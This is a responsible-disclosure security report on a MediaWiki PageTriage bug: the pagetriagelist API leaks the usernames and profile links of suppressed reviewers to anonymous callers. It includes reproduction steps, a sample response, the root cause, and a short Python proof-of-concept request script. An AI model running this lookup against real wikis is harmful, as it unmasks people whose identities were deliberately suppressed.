From a report to security@
PageTriage pagetriagelist discloses suppressed reviewer usernames
Summary
An anonymous caller can use the pagetriagelist API to identify a user whose name has been suppressed when that user is recorded as the reviewer of a PageTriage page. The API correctly redacts a suppressed page creator, but it unconditionally serializes the reviewer name and user-page URLs. This defeats the privacy protection for suppressed accounts through review metadata; no authentication or victim action is required for the lookup.
Tested product/version/build: MediaWiki 1.47.0-alpha, revision 228d5c2a83bc5ce54dc4df9928457c4343c60fe8, with PageTriage enabled as it is for English Wikipedia. Prerequisite: a PageTriage review record for a user whose username has been suppressed. Creating that state requires a suppressor; the disclosure request itself is anonymous.
Steps to reproduce
- On a wiki with PageTriage enabled, have a reviewer mark a page as reviewed through action=pagetriageaction&reviewed=1.
- Use the normal suppression workflow to suppress the reviewer’s username. The setup requires a suppressor, but the disclosure request does not.
- As an anonymous user, request:
GET /w/api.php?action=pagetriagelist&page_id=<PAGE_ID>&format=json
- The response contains the suppressed reviewer’s username and profile URLs in reviewer, reviewer_user_page, reviewer_user_page_url, reviewer_user_talk_page, and reviewer_contribution_page.
In local validation, the creator remained visible while the suppressed reviewer was returned with these fields; the same response did not set reviewer_hidden.
Result
{"reviewer":"SuppressedReviewer","reviewer_user_page":"User:SuppressedReviewer","reviewer_user_page_url":"https://wiki.example/wiki/User:SuppressedReviewer","creator":"VisibleCreator","creator_hidden":false}
Root cause
ApiPageTriageList.php checks User::isHidden() for the page creator and sets user_name to null, but the reviewer branch calls createUserInfo() without loading or checking the reviewer’s hidden status. The reviewer name is selected from ptrp_last_reviewed_by and then exposed through the public API.
Impact
Anonymous users can recover the identities of suppressed accounts from PageTriage review history, including direct account, talk-page, and contribution links. This is a privacy disclosure that bypasses MediaWiki’s suppressed-username protection for a public API metadata path.
PROOF OF CONCEPT
Run this only against an authorized instance. The request is unauthenticated and performs a read-only GET request.
#!/usr/bin/env python3 import argparse import json import urllib.parse import urllib.request def main(): parser = argparse.ArgumentParser() parser.add_argument("--page-id", required=True, type=int) parser.add_argument("--api-url", required=True) args = parser.parse_args() query = urllib.parse.urlencode({ "action": "pagetriagelist", "page_id": args.page_id, "format": "json", }) separator = "&" if "?" in args.api_url else "?" request_url = args.api_url + separator + query request = urllib.request.Request( request_url, headers={"User-Agent": "MediaWiki-PageTriage-security-test/1.0"}, ) with urllib.request.urlopen(request) as response: result = json.load(response) print(json.dumps(result, indent=2, ensure_ascii=False)) if __name__ == "__main__": main()
Example:
python3 pagetriage_suppressed_reviewer_disclosure.py \ --page-id <PAGE_ID> \ --api-url https://authorized.example/w/api.php